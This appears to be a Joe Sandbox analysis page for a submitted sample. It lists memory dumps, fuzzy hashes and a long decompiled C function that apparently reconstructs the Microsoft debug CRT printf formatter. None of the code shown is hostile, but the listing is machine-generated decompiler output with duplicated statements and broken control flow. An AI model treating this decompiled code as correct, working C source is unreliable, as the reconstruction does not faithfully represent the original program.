Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: 53afec49f25ed11a793c0d19b28a675c0cd9a41ed180ea8b66a6124fe9fb7620
Instruction ID: a853251e6abe53710bda4b20558c1f3840b844a87ccb25f33fd9f9b9fbdfc0b7
Opcode Fuzzy Hash: 53afec49f25ed11a793c0d19b28a675c0cd9a41ed180ea8b66a6124fe9fb7620
Instruction Fuzzy Hash: F391C575B80204EBDB24DB44DEC6FAA7365AB44704F34415AF604AB3C2D2B5EE81CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434E17, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434E17(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E004284A0(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00434040() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E350();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E004283D0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E00428410( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E004283D0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E00428410( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E00434360(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E00428410( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E004283D0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C510( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M004356A0))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E00431350( *(_t627 - 0x251) & 0x000000ff, E0041AE20(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00428330( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00428330( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E350();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422E40(_t572))) = 0x16;
													E00422BD0(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041ADF0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x4356d8; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M004356C0))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x435700; // 0x4f0e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M004356EC))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x43576c; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435730))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E004284A0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE20(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0x7e8e98dc
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0x8a8e9826
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xc28e9826
																	E00424690(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E004284A0(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E004284E0(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004284A0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __eax;
														}
